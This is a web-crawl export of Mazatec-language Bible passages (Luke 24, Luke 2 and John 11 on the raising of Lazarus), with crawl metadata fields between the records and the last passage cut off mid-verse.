isíkjáya‑la̱, kitsò‑la̱: ―'Nchán katasíkítsa̱jna‑no Nainá. 37Jñà xi̱ta̱ kìi̱, 'ñó itsakjòn, ko̱ 'ñó isinchaxkón‑la̱ 'kia̱ nga kijtse; kitsó‑ní tsa tà inìma̱‑la̱ mi'ken‑ní. 38'Kia̱á kitsò Jesús: ―¿Mé ta̱ nda bíxkón‑la ijo‑no? ¿Ko̱ mé‑ni ko̱tsò‑ni kjo̱bítsjen ra nchrabájin ya̱ inìma̱‑no? 39Chítsijen‑la jñà ndsa̱ ko̱ ndsa̱koàa̱. 'A̱n‑ná. Tja'tá‑ná ndsa̱à ko̱ chítsijen‑ná. Jngo ra tà inìma̱, tsìn‑la̱ ijo, ti̱'koa̱á tsìn‑la̱ ninda, tanga 'a̱n tjín‑na, koni 'sín i̱nchichitsíjen‑nájiòn. 40'Kia̱ nga ijye ko̱kitsò‑la̱, tsakón‑la̱ tsja ko̱ ndsa̱ko̱. 41Tanga jñà xi̱ta̱‑la̱ mì kì ndi̱to̱n kjokjiín‑la̱ nga 'ñó tsja ki'se‑la̱ ko̱ 'ñó isinchaxkón‑la̱ 'kia̱ nga kijtse. 'Kia̱á iskonangi‑la̱ Jesús, kitsò‑la̱: ―¿A tjín chiba‑no tsajmì ra ma chine? 42Kitsjá i̱tsé‑la̱ ti̱ ra ijye kichjàn, [ko̱ tsjén‑la̱ cho̱ sera̱]. 43Iskábé Jesús, a̱kjòn iskine ya̱ ngixko̱n jñà xi̱ta̱‑la̱. 44'Kia̱á kitsò‑la̱ xi̱ta̱‑la̱: ―Jñà kjoa̱ ra kjomà'tiaa̱n, jñá‑ní ra tsi'kènájmí‑no 'kia̱ nga ti̱'sa̱ ya̱ tsakáti̱jnako̱‑no. 'Koa̱á 'sín kíxin‑no nga ki̱tjasòn ijye‑ní koni 'sín tíchja̱ ra a̱'ta tsa̱'a̱n, xa̱jo̱n 'tse̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, ko̱ 'tse̱ xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, ko̱ ra tjí'ta xa̱jo̱n 'tse̱ Salmo. 45'Kia̱á nda isìchi̱ya‑la̱ mé‑ni nga katjaha'sen‑jin‑la̱ koni 'sín tíchja̱ Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá. 46Kitsò‑la̱: ―'Koa̱á 'sín tíchja̱ Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá nga tsò nga 'a̱n ra Cristo [ra xá isìkasén‑na Nainá], tjínè‑na nga ki̱yáa̱; 'kia̱ nga ki̱jchò jàn ni̱chjin, kjoa̱áyaá‑ina. 47Nainá si̱hijcha'tá‑la̱ jé‑la̱ xi̱ta̱ ra a̱'ta 'tse̱ Jesús, 'kia̱ nga jñà xi̱ta̱ si̱íkájno jé‑la̱ nga mì ti̱ jé koa̱àtsji‑ni. Jè 'én kìi̱, machjeén‑ní nga 'se̱na̱jmíya ijye‑la̱ xi̱ta̱ ko̱'tsia̱ kjòn‑ni Jerusalén skanda nga tíjngo i̱sà'nde. 48Jiòn 'kéna̱jmió kjo̱kixi̱ koni 'sín kjomà. 49'A̱án sikásén‑no jè kjo̱tjò ra tsjá Na̱'ìn‑na̱ koni 'sín ijye kitsjá 'én‑la̱. Tanga jiòn, i̱ ti̱tsa̱jna Jerusalén skanda 'kia̱ nga ijye tjábé‑no nga'ñó ra nchrabá‑ni ján ngajmi. 50'Kia̱á kiìko̱ xi̱ta̱‑la̱ skanda ya̱ na̱xi̱ndá Betania. Iskimí'nga tsja nga isíjé‑la̱ Nainá nga katasíchikon'tin jñà xi̱ta̱ kìi̱. 51'Kia̱ nga tísíjé'tin xi̱ta̱‑la̱, a̱kjòn itjàmítje̱n nga kijì ján ngajmi. 52Jñà xi̱ta̱‑la̱, 'kia̱ nga ijye tsinchaxkó'nchi'ta‑la̱ Jesús nga kijtsexkón, tsja tjín‑la̱ nga kijì‑ni ya̱ Jerusalén. 53Ko̱ ya̱á tsikitsa̱jna ki'ta ya̱ a̱ya i̱ngo̱ ítjòn nga 'nga ko̱ jeya isíkíjna Nainá.\nSan Lucas 24","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/24","date":"2013-12-05T04:23:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163039773\/warc\/CC-MAIN-20131204131719-00005-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":1106,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni̱chjin 'kia̱ nga tjín‑la̱ xá ítjòn jè ra 'mì César Augusto tsjachrjeé jngo kjo̱hixi̱ nga nga'tsì xi̱ta̱ ra tjín i̱sà'nde, xa̱jo̱ón si̱'ta 'í‑la̱. 2Jè xa̱jo̱n ra ko̱'sín isinda ítjòn nga kjoxki̱ya nga'tsì xi̱ta̱ 'kia̱ nga tíbatéxoma jè xi̱ta̱ ra 'mì Cirenio ya̱ i̱'nde ra 'mì Siria. 3Nga'tsì xi̱ta̱ kijí ya̱ na̱xi̱ndá‑la̱ nga kiì kí'ta xa̱jo̱n ijo‑la̱. 4Jè José ya̱á itjo‑ni Nazaret, na̱xi̱ndá ra chja̱‑ni Galilea. Kijì ya̱ nangi ñánda̱ 'mì Judea ya̱ na̱xi̱ndá ra 'mì Belén ñánda̱ kitsin xi̱ta̱ ítjòn ra tsi'kìn David, nga̱ jè José tje̱‑la̱ David‑ní. 5Ya̱á kiì kí'ta xa̱jo̱n ijo‑la̱; ti̱'koa̱ kijí‑te jè María, chjo̱ón‑la̱ ra tíjna'ñó‑la̱ nga jè ki̱xan‑ko̱, tanga ijyeé i'ndí tjíhi'ma‑la̱. 6'Kia̱ nga ijye tjítsa̱jna ya̱ Belén, jè María ijchó ni̱chjin‑la̱ nga kitsin jè ndí i'ndí‑la̱. 7Kitsiín jè ndí i'ndí‑tjòn‑la̱ ra ndí i'ndí 'xi̱n; isíkójin nikje; ya̱á isíkájnaya ya̱ a̱ya kàxa̱ ñánda̱ nga bakjèn‑ya cho̱, tà nga̱tjì‑la̱ nga mì ti̱ kì isako'ndé‑la̱ ya̱ ni'ya ñánda̱ ma níkjáya. 8Ya̱ chraña'tá‑la̱ Belén títsa̱jnaá chji̱ngo̱ cho̱ ra síkinda̱ ni̱tje̱n forrè‑la̱. 9Ta ndi̱to̱ón ijchòjkon jngo ìkja̱li̱ 'tse̱ Nainá. Jè kjoa̱jeya‑la̱ Nainá ngi kjohisen jngo tjindi‑la̱ ñánda̱ tjítsa̱jna. Sí taxki̱ nda itsakjòn. 10Jè ìkja̱li̱ kitsó‑la̱: ―Kì tà chjàn skon‑jiòn; 'a̱n, kií xá 'jíi̱‑na nga jngo 'én xi̱tse̱ ra nda tsò síkjí'nchré‑no. 'Én ra̱kìi̱, 'ñó tsja 'ke̱‑la̱ nga'tsì xi̱ta̱ na̱xi̱ndá. 11Jngo ndí i'ndí katsin ya̱ na̱xi̱ndá‑la̱ David jè ra ma‑la̱ ko̱chrjetjì‑ná kjoa̱ 'tse̱ kjo̱hi'in, jè ra Cristo [ra xá isìkasén‑ni Nainá] nga jè kíjna ítjòn‑ná. 12Tjín jngo kó'sín nga ma jcha̱a nga kixi̱í kjoa̱ 'én ra ko̱tíxin‑no: jè i'ndí ra̱kìi̱, ya̱á kjinaya ya̱ kàxa̱ ñánda̱ nga bakjèn‑ya cho̱. Kjijnajtéjin nikje‑la̱. 13Ti̱'kia̱‑ni kjín jchán ìkja̱li̱ tsatsíjen‑kjo ra inchrabà‑ni ngajmi nga 'ngaá isíkíjna Nainá. Kitsò: 14Kata'se‑la̱ kjoa̱jeya Nainá ya̱ ján ngajmi. Ko̱ ya̱ a̱'ta nangi, kata'se‑la̱ kjo̱'nchán xi̱ta̱ ra tjín‑la̱ kjo̱nda‑la̱ Nainá. 15'Kia̱ nga ijye kijì‑ni jñà ìkja̱li̱ ján ngajmi, jñà chji̱ngo̱ cho̱, kitsó‑la̱ xákjén: ―Tjiaán skanda ya̱ ján Belén mé‑ni nga jche̱é kjoa̱ ra ko̱kàma koni 'sín kasíkí'nchré‑ná Na̱'ín‑ná. 16Ndi̱to̱ón kijì jñà chji̱ngo̱ cho̱ ya̱ ján Belén; 'kia̱ nga ijchò, isakò‑la̱ ya̱ ñánda̱ tíjna María ko̱ jè José, ko̱ jè i'ndí kjinaya kàxa̱ ya̱ ñánda̱ bakjèn‑ya cho̱. 17'Kia̱ nga kijtse jè i'ndí ra̱kìi̱, tsi'kéna̱jmí ijye‑ní kó'sín kitsò jè ìkja̱li̱ ra a̱'ta 'tse̱ i'ndí. 18Nga'tsì xi̱ta̱ ra kií'nchré koni 'sín kitsò jñà chji̱ngo̱ cho̱, tà 'koa̱á kjomà‑la̱. 19Tanga jè María, ya̱á tsikíjin ijye inìma̱‑la̱ jñà 'én ra ki'sena̱jmí‑la̱. 'Ñó isíkítsjen kjoa̱ kìi̱. 20Jñà chji̱ngo̱, kijí‑ni; jeyaá isíkíjna Nainá ko̱ 'ngaá isíkíjna ta nga̱tjì‑la̱ nga'tsì kjoa̱ ra kií'nchré ko̱ ra kijtse koni 'sín nga ijye ki'sena̱jmí‑la̱. 21'Kia̱ nga ijchò jin ni̱chjin nga kitsin jè ndí i'ndí ra̱kìi̱, isi'ta chi̱ba̱á ijo‑la̱ ra kjoa̱ 'tse̱ circuncisión; Jesús isi'ta 'í‑la̱ koni 'sín ijye kitsò ìkja̱li̱ 'tse̱ Nainá 'kia̱ nga ti̱kjè sihi'ma a̱ya i̱ndsi̱'ba̱ na̱‑la̱. 22'Kia̱ nga ijchò ni̱chjin nga ko̱'sín 'si̱in jñà xi̱ta̱ kìi̱, koni 'sín tíchja̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, mé‑ni nga jè María tsje kíjna‑ni ya̱ ngixko̱n Nainá. Kiìko̱ó jè ndí i'ndí‑la̱ ya̱ a̱ya i̱ngo̱ ítjòn ra kjijna ya̱ Jerusalén nga kiì sínga̱tsja Nainá. 23'Koa̱á 'sín tjí'ta kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés nga tsò: \"Nga'tsì i'ndí 'xi̱n ra jtsín ítjòn, 'tse̱é Nainá, jé ko̱nga̱tsja.\" 24Xi̱ta̱ jchínga‑la̱ Jesús kiìko̱ó kjo̱tjò‑la̱ ya̱ ngixko̱n Nainá, jò tjo̱ni̱ña̱, ñá tsa jò pichón, koni 'sín tjín kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. 25Ni̱chjin kìi̱, tíjnaá jngo xi̱ta̱ kixi̱ ya̱ Jerusalén ra nda bexkón Nainá ra 'mì Simeón. Ti̱'koa̱á tíkoñá‑la̱ jè ra ko̱chrjetjì na̱xi̱ndá Israel. Jè Simeón ya̱á tíjnako̱ jè Inìma̱ Tsje‑la̱ Nainá, 26ko̱ 'koa̱á 'sín ijye isìchi̱ya‑la̱ nga mì kì ki̱yá Simeón skanda 'kia̱ nga ske̱xkon Cristo ra Nainá si̱ìkasén. 27Jé Inìma̱ Tsje‑la̱ Nainá isìkasén Simeón ya̱ i̱ngo̱ ítjòn Jerusalén. 'Kia̱ nga ijchòko̱ Jesús jñà xi̱ta̱ jchínga‑la̱ nga si̱hitjasòn koni 'sín tjín kjo̱téxoma, 28jè Simeón, iskábé jè ndí i'ndí ra̱kìi̱, tsakáya tsja; 'ngaá isíkíjna Nainá. Kitsò: 29Na̱'ìn, ijyeé kabitjasòn 'én‑li koni 'sín tsi'kín‑ná. 'Ndi̱ 'ndi̱‑ni̱, 'nchán katìyaa̱ 'a̱n ra chi̱'nda‑li ma. 30Ijyeé kàbe‑na xkoàa̱n jè ra ko̱chrjetjì‑naji̱n kjo̱hi'in, 31jè ra masen kàníkíjni ya̱ ngixko̱n nga'tsì xi̱ta̱ na̱xi̱ndá, 32jè ra si̱hisen‑la̱ kjo̱bítsjen‑la̱ jñà xi̱ta̱ ra mì tsa xi̱ta̱ na̱xi̱ndá‑li ma. A̱'ta 'tse̱ i'ndí ra̱kìi̱, jè na̱xi̱ndá‑li Israel, jeyaá kíjna. 33Xi̱ta̱ jchínga‑la̱ Jesús tà kjóxkón‑la̱ koni 'sín kitsò Simeón a̱'ta 'tse̱ i'ndí‑la̱. 34Jè Simeón kisíjé‑la̱ Nainá nga katasíchikon'tin jè i'ndí; a̱kjòn kitsò‑la̱ María: ―A̱'ta 'tse̱ i'ndí ra̱kìi̱, 'koa̱á 'sín tjínè‑la̱ nga kjín xi̱ta̱ Israel ki̱tjokajin kjo̱hi'in ko̱ kjín jchi̱ja. A̱'ta 'tse̱é jcha̱‑la̱ kó'sín 'sín Nainá 35mé‑ni nga jcha̱‑la̱ kó'sín tjín kjo̱bítsjen‑la̱ nga'tsì xi̱ta̱, tanga kjín xi̱ta̱ mì kì ko̱kjiín‑la̱; ko̱ ngaji̱ 'ñó 'se̱‑li kjo̱ba; 'koa̱á 'sín ko̱ma‑li koni tsa jngo ki̱cha̱ ka'se‑li. 36Ya̱á tíjna jngo‑te chjo̱ón ra 'mì Ana, ra chja̱ ngajo‑la̱ Nainá, tsati‑la̱ Fanuel ra tje̱‑la̱ Aser. Ijyeé 'ñó xi̱ta̱ jchínga. Ito nó tsikijnako̱ 'xi̱n‑la̱. 37Kjo ijòn‑kan ko̱ ijòn nó tjín‑ni nga 'ken 'xi̱n‑la̱. Ko̱ ya̱á bijnaya ki'ta ya̱ ndi̱tsin i̱ngo̱ ítjòn; ni̱chjin ko̱ ni̱tje̱n bítsa'ba‑la̱ Nainá ko̱ bijnachjan nga bexkón Nainá. 38Ti̱jé‑ni hora, chjo̱ón ra̱kìi̱, ijchò kasi'ta chraña‑la̱ xi̱ta̱ jchínga‑la̱ Jesús. Tíchja̱'ta‑la̱ Nainá nga títsò‑la̱: \"Tse kjo̱nda kata'se‑li Na̱'ìn\"; ti̱'koa̱ tíchja̱‑la̱ a̱'ta 'tse̱ i'ndí ra̱kìi̱ nga'tsì jñà xi̱ta̱ ra i̱nchikoñá‑te‑la̱ nga kíjnandi̱í‑ni jè na̱xi̱ndá Jerusalén. 39Jè José ko̱ María, 'kia̱ nga ijye isìhitjasòn ijye koni 'sín tíchja̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, kijí india‑ni ján Galilea ya̱ na̱xi̱ndá‑la̱ Nazaret. 40I'ndí ra̱kìi̱ tímajchínga‑ní; tí'se‑la̱ nga'ñó a̱jin inìma̱‑la̱; ti̱'koa̱á isa̱ nda tímachi̱ya‑la̱; ya̱á tíjnako̱ kjo̱nda‑la̱ Nainá. 41Jñà xi̱ta̱ jchínga‑la̱ Jesús, xki̱ nó fì ya̱ na̱xi̱ndá Jerusalén 'kia̱ nga bitjo 'sí paxko̱. 42Jesús, 'kia̱ nga ijye tjín‑la̱ tejò nó, ti̱'koa̱ kijí‑te ya̱ ján Jerusalén koni 'sín tjín kjo̱téxoma 'tse̱ 'sí paxko̱. 43'Kia̱ nga inchrabà‑ni xi̱ta̱ nga ijye ijyehe'tà 'sí, jè Jesús, ya̱á tsikijna Jerusalén; tanga jñà xi̱ta̱ jchínga‑la̱ mì kì kijtse tsa ya̱ tsikijna. 44Jngo ni̱chjin tsinchimaya ndi̱yá. 'Koa̱á 'sín isíkítsjen tsa ya̱á tsá'bajin‑la̱ xi̱ta̱ ra i̱nchifì‑ni. 'Kia̱ nga tsakátsji ya̱ a̱jin‑la̱ xi̱ta̱ xákjén ko̱ jñà xi̱ta̱ ra bexkon, 45mì kì isakò‑la̱. 'Kia̱á kijì india‑ni ya̱ ján Jerusalén nga kiì kátsji. 46'Kia̱ nga kjomà jàn ni̱chjin nga i̱nchibátsji, ya̱á isakò‑la̱ ya̱ ndi̱tsin i̱ngo̱ ítjòn; tíjnajin‑la̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés; i̱nchi'nchré‑la̱ ko̱ i̱nchikjonangi‑la̱. 47Nga'tsì xi̱ta̱ ra i̱nchi'nchré‑la̱ tà kjóxkón‑la̱ jè kjo̱bítsjen ra tjín‑la̱ koni 'sín chja̱. 48Jñà xi̱ta̱ jchínga‑la̱, 'kia̱ nga kijtse nga ya̱ tíjna, ti̱'koa̱á tà kjóxkón‑te‑la̱; jè na̱‑la̱, kitsó‑la̱: ―Ji̱ ndí 'xi̱n, ¿mé‑ni ko̱nìko̱‑náji̱n? Jè na̱'ìn‑li ko̱ ra 'a̱n, i̱nchimakájno‑naji̱n nga ko̱'sín ichijì, ko̱ i̱nchifatsjií‑laji̱n. 49Jesús kitsó‑la̱: ―¿Mé‑ni nga 'a̱n fatsji‑nájiòn? ¿A mí tjíjin‑no nga tjínè‑na nga ya̱ kóti̱jna ni'ya‑la̱ Na̱'ìn‑na̱? 50Tanga jñà xi̱ta̱ jchínga‑la̱ mì kì kjòchi̱ya‑la̱ jè 'én ra kiìchja̱ Jesús. 51Jesús, kiìko̱ó jñà xi̱ta̱ jchínga‑la̱ nga kijì india‑ni ya̱ ján Nazaret. Jesús, nda isìhitjasòn‑la̱ xi̱ta̱ jchínga‑la̱. Jè na̱‑la̱, ya̱á tsikíjin ikon ya̱ a̱jin inìma̱‑la̱ nga'tsì kjoa̱ kìi̱. 52Jesús, tímajchínga‑ní ko̱ ni̱chjin nchijòn isa̱ nda tímachi̱ya‑la̱; ti̱'koa̱ tí'se‑la̱ kjo̱nda 'tse̱ Nainá ko̱ 'tse̱ xi̱ta̱.\nSan Lucas 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/2","date":"2013-12-06T09:42:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051140\/warc\/CC-MAIN-20131204131731-00059-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":1101,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tíjna xk'én jngoò xi̱ta̱ xi 'mì Lázaro xi ya̱ i̱'nde‑la̱ Betania, ya̱ na̱xa̱ndá ts'e̱ María ko̱ ndichja xi 'mì Marta. 2(Jè María xi ndichja ma Lázaro, jè‑né xi kisìkaàjno xkiì jne̱ ndso̱ko̱ Jesús. I̱kjoàn ko̱ tsja̱ sko̱ kisìxìjno‑ne ndso̱ko̱.) 3Jñà íchjín ndichja Lázaro, kisìkasén‑la̱ xá Jesús, kitsò‑la̱: ―Na̱'èn, jè amigo‑lè xi ndaà matsjachi kijna xk'én‑né. 4K'e̱ nga kiì'nchré Jesús, kitsò: ―Ch'in jè, mìkiì ki̱yá‑ne; k'oa̱á s'ín ko̱chjeén nga jcha̱‑la̱ kjoa̱jeya‑la̱ Nainá, mé‑ne jè Ki'ndí‑la̱ ti̱koa̱ jeya kíjna‑ne. 5Jesús 'ñó matsjakeè Marta ko̱ ndichja ko̱ Lázaro xi 'ndse̱ ma. 6K'e̱ nga kiì'nchré nga kijna xk'én Lázaro, nguì jò na̱chrjein tsibìjna Jesús, ya̱ i̱'nde ñánda tíjna. 7Xi jye komà, i̱kjoàn kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Ìjngoò k'a tíkjiaán ján nangui Judea. 8Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kitsò: ―Maestro, kj'eè tsà kjìn na̱chrjein tjín‑la̱ k'e̱ nga jñà xi̱ta̱ judío mejèn‑la̱ tsibínè‑lè nda̱jo̱ nga si̱ìk'en‑lè. ¿A ti̱ya̱á mejèn k'oín ìjngoò k'a ngá‑ne? 9Kiìchja̱ Jesús kitsò‑la̱: ―Nga jngoò na̱chrjein, ¿a mìtsà tejò hora tjín‑la̱? Jè xi na̱chrjein tsóba mìkiì satíngui nga jè ni'ín xi tjín i̱sò'nde síhiseèn‑la̱. 10Ta̱nga jè xi tsóba nga ni̱tje̱n, satíngui‑né nga tsjìn‑la̱ ni'ín xi síhiseèn‑la̱. 11I̱kjoàn kitsò‑la̱ xi̱ta̱‑la̱: ―Jè amigo‑ná Lázaro kjinafé‑né, ta̱nga 'a̱n koií xá fì‑na̱ nga 'a̱n si̱kjaá‑la̱. 12Xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kitsò: ―Na̱'èn, tsà kjinafé‑né, ko̱ndaá‑ne. 13Jesús k'e̱ nga o̱kitsò, jè tíchja̱ i̱t'aà ts'e̱ kjoa̱biyaà‑la̱ Lázaro. Ta̱nga jñà xi̱ta̱ xi kota'yàt'aà‑la̱ k'oa̱á s'ín kisìkítsjeèn tsà tà tísíkjáya‑ne Lázaro nga kjinafè. 14K'e̱é jngoò k'a tsibéno̱jmí kixi̱‑la̱ kitsò‑la̱: ―Lázaro jyeé k'en. 15Matsja‑na̱ xi i̱t'aà tsa̱jòn nga jè na̱chrjein nga mì ya̱ titsa̱jnaà, mé‑ne jñò ko̱kjeiín‑nò. Nchrobá, tíkjiaán chítsejèn‑lá. 16K'e̱é kiìchja̱ Tomás xi ti̱koa̱ Dídimo tsò‑la̱ ['én xi tsòya‑ne Ti'ño̱]; kitsò‑la̱ xíkjín: ―Jñá ti̱koa̱ tíkjiaán, mé‑ne ya̱ ki̱yákoa̱á Jesús. 17K'e̱ nga ijchò Jesús, kiì'nchré nga jyeé tjín‑la̱ ñijòn na̱chrjein nga kisìhijiìn Lázaro. 18Na̱xa̱ndá Betania chrañàt'aà kijna‑la̱ na̱xa̱ndá Jerusalén, tjín‑la̱ tsà jàn kilómetro. 19Kjìn xi̱ta̱ judío ijchòkon jè Marta ko̱ María nga ijchò síjehikon nga 'ndse̱ k'en. 20Jè Marta, k'e̱ nga kiì'nchré nga Jesús tínchrobá chrañà, kiìkjaá indiaà. Jè María ya̱á tsibìjnaya ni'ya. 21Jè Marta kitsò‑la̱ Jesús: ―Na̱'èn, tsà i̱‑là tijni, jè 'ndsè mì‑la kiì k'en. 22Ta̱nga i̱'ndei̱ be‑ná ni̱ta̱ mé xi si̱jé‑la Nainá, tsjá‑lè. 23Jesús, kitsò‑la̱: ―Jè 'ndsì kjoa̱áya‑la̱. 24Marta kitsò: ―Be‑ná k'e̱ nga kjoe̱het'aà na̱chrjein kíjnakon ìjngoò k'a‑ne, k'e̱ nga kjoa̱áya‑la̱ ngats'iì xi̱ta̱ xi jye k'en. 25Jesús, k'e̱é kitsò‑la̱: ―'A̱n‑ná xi sìkjaáya‑la̱ xi̱ta̱ ko̱ tsjaà‑la̱ kjoa̱binachon. Jè xi mokjeiín‑la̱ i̱t'aà ts'a̱n na̱s'ín ki̱yá, kíjnakon ìjngoò k'a‑ne. 26Ngats'iì xi̱ta̱ xi títsa̱jnakon, jñà xi mokjeiín‑la̱ i̱t'aà ts'a̱n, mìtsà jngoò k'a ki̱yá. Ngaji̱, ¿kó si?, ¿a mokjeiín‑lè? 27Marta kiìchja̱ kitsò: ―Jon Na̱'èn, 'a̱n, mokjeiín‑na nga ji̱‑né xi Cristo; ji̱‑né xi Ki'ndí‑la̱ Nainá, jè xi k'oa̱s'ín tjínè‑la̱ nga kjoi̱í i̱ i̱sò'nde. 28Marta, k'e̱ nga jye o̱kitsò, kiìchja̱'ma‑la̱ María xi ndichja ma, kitsò‑la̱: ―I̱í tíjna Maestro, chja̱ xó‑lè. 29Jè María k'e̱ nga kiì'nchré, ni̱to̱ón tsasítje̱n, kiìkon Jesús. 30Jesús, kj'eè kiì fahas'en‑jiìn na̱xa̱ndá, tákó ya̱á síjna ñánda ijchòkjaá indiaà Marta. 31Jñà xi̱ta̱ judío xi títsa̱jnako̱ ni'ya‑la̱ María nga nchisíjehikon, k'e̱ nga kijtseè nga tà ni̱to̱n itjo ni'ya María, kiìtji̱ngui‑la̱. K'oa̱á s'ín kisìkítsjeèn tsà ya̱ tífì kjindáya ñánda kisìhijiìn Lázaro. 32María k'e̱ nga ijchò ñánda síjna Jesús, k'e̱ nga kijtseè, tsasìjna xkó'nchit'aà‑la̱, kitsò‑la̱: ―Na̱'èn tsà i̱í‑la tijni, jè 'ndsè mì‑la kiì k'en. 33Jesús k'e̱ nga kijtseè nga tíkjindáya María ti̱koa̱ nchikjindáya xi̱ta̱ judío xi tji̱ko̱, 'oón komà‑la̱ ini̱ma̱‑la̱ Jesús, 'ñó kjòba‑la̱. 34Jesús kiskònangui, kitsò: ―¿Ñánda kisìhijiìn? Kitsò jñà xi̱ta̱: ―Na̱'èn nchroboí, chítsejèn‑la̱. 35Jesús kiskindàya‑né. 36Jñà xi̱ta̱ judío kitsò‑la̱ xíkjín: ―Chítsejèn‑la̱, 'ñó matsjakeè Lázaro. 37Tjín i'nga xi̱ta̱ xi kitsò: ―Xi̱ta̱ jè komà‑la̱ kiskíx'a̱ xko̱n xi̱ta̱ xi mìkiì tsejèn‑la̱, ¿a mìtsà komà‑la̱ tsà mìkiì k'en Lázaro? 38Jesús ìjngoò k'a 'ñó 'on komà‑la̱ ini̱ma̱‑la̱. Kiì kasìt'aà chrañà‑la̱ jè i̱tsjó‑la̱ mik'en. Jngoò nguijo ñánda jngoò nda̱jo̱ teè tíchjoàjto‑la̱. 39Jesús kitsò: ―Chja̱àxiòn jè nda̱jo̱. Jè Marta, ndichja mik'en, kitsò‑la̱ Jesús: ―Na̱'èn, jyeé‑la ch'o jne̱ nga jyeé tjín‑la̱ ñijòn na̱chrjein nga kisìhijiìn. 40Kiìchja̱ Jesús kitsò‑la̱: ―¿A mì jyeé k'oa̱ kixan‑lè, tsà mokjeiín‑lè jcha̱‑ne kjoa̱jeya‑la̱ Nainá? 41K'e̱é jaàxìn nda̱jo̱ xi tíchjoàjto‑la̱ i̱tsjó‑la̱ mik'en, Jesús kiskoòtsejèn ngajmiì, kitsò: ―Na̱'èn, tsjaà‑lè kjo̱ndaà, ndaàha̱ chjí‑lè nga na'yà‑ná. 42'A̱n be‑ná nga kjit'aá na̱chrjein na'yà‑ná, ta̱nga koií k'oa̱ kàxan‑lè nga kjìn ma xi̱ta̱ xi títsa̱jna mé‑ne nga ko̱kjeiín‑la̱ nga ji̱ kinìkasén‑ná. 43K'e̱ nga jye o̱kitsò, 'ñó kiìchja̱, kitsò: ―Lázaro, nchroboí, tìtjoi̱i nga̱jo̱. 44Jè xi kijna k'en, itjo‑ne nga̱jo̱. Jñà ndso̱ko̱ ko̱ tsja, nikje na'ñó tjí'ñó‑ne. Jè i̱sén‑la̱, jngoò nikje chroba tíjtéjiìn. Jesús k'e̱é kitsò‑la̱ jñà xi̱ta̱: ―Chíjnda̱'ñó‑nò, kàtjì‑ne. 45Jñà xi̱ta̱ judío xi j'iì nga tsobáhijtako̱ María, k'e̱ nga kijtseè koni s'ín kis'iìn Jesús, kjìn ma xi kòkjeiín‑la̱ i̱t'aà ts'e̱. 46Ta̱nga tjín i'nga xi̱ta̱ judío xi kiìkon jñà xi̱ta̱ fariseo, tsibéno̱jmí‑la̱ koni s'ín tjín kjoa̱ xi kis'iìn Jesús. 47Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ fariseo tsibíxkóya xíkjín, tsibíjna jngoò junta ts'e̱ xi̱ta̱ ítjòn‑la̱ xi̱ta̱ judío, kitsò‑la̱ xíkjín: ―¿Mé xi s'e̱én? Xi̱ta̱ jè ndaà jchán tís'ín kjo̱xkón xi ndaà tjín. 48Tsà ta ki̱'nde‑lá, ngats'iì xi̱ta̱ ko̱kjeiín‑la̱ i̱t'aà ts'e̱. I̱kjoàn kjoi̱í xi̱ta̱ Roma, si̱ìkits'ón‑ya i̱'nde tsjeè‑ná ko̱ na̱xa̱ndá‑ná. 49Xi ti̱jñà‑ne xi̱ta̱ koi, jngoò xi 'mì Caifás xi no̱'miì ítjòn tíjna jè nó jè, kiìchja̱ kitsò: ―Jñò, ni̱mé kjoa̱ xi tíjiìn‑nò, 50ko̱ mìkiì nìkítsjeèn nga mochjeén‑né nga tà jngoò xi̱ta̱ kàtiyaàtjì‑la̱ na̱xa̱ndá‑ná mì k'oa̱á‑ne tsà ki̱yá yije xi̱ta̱ na̱xa̱ndá‑ná. 51Caifás k'e̱ nga k'oa̱s'ín kiìchja̱ mìtsà tà kjo̱hítsjeèn ts'e̱. Ta̱nga koi‑né nga no̱'miì ítjòn tíjna nó jè, Nainá kisìkichi̱ya‑la̱ nga Jesús, k'oa̱á s'ín tjínè‑la̱ nga jè na̱xa̱ndá ki̱yátjì ngajo‑la̱. 52Mìtsà ta jè na̱xa̱ndá ki̱yátjì ngajo‑la̱; ti̱koa̱á koi̱ìxkóya‑né ngats'iì i̱xti‑la̱ Nainá xi xki̱ xi ján na̱xa̱ndá nchisíjchá yijo‑la̱, kóho̱kji nga tíjtsa i̱sò'nde. 53Ti̱jè‑ne na̱chrjein jè tsajoóya‑ne nga si̱ìk'en Jesús. 54Koií kjoa̱‑la̱ Jesús mì ti̱ kiì ta̱xki̱ tsajmeèjiìn osen‑la̱ xi̱ta̱ judío. Ya̱á kiì kíjna i̱'nde i̱t'aà xìn ñánda nangui kixì choòn ya̱ chrañàt'aà‑la̱ jngoò na̱xa̱ndá xi 'mì Efraín; ya̱á tsibìjna ko̱ 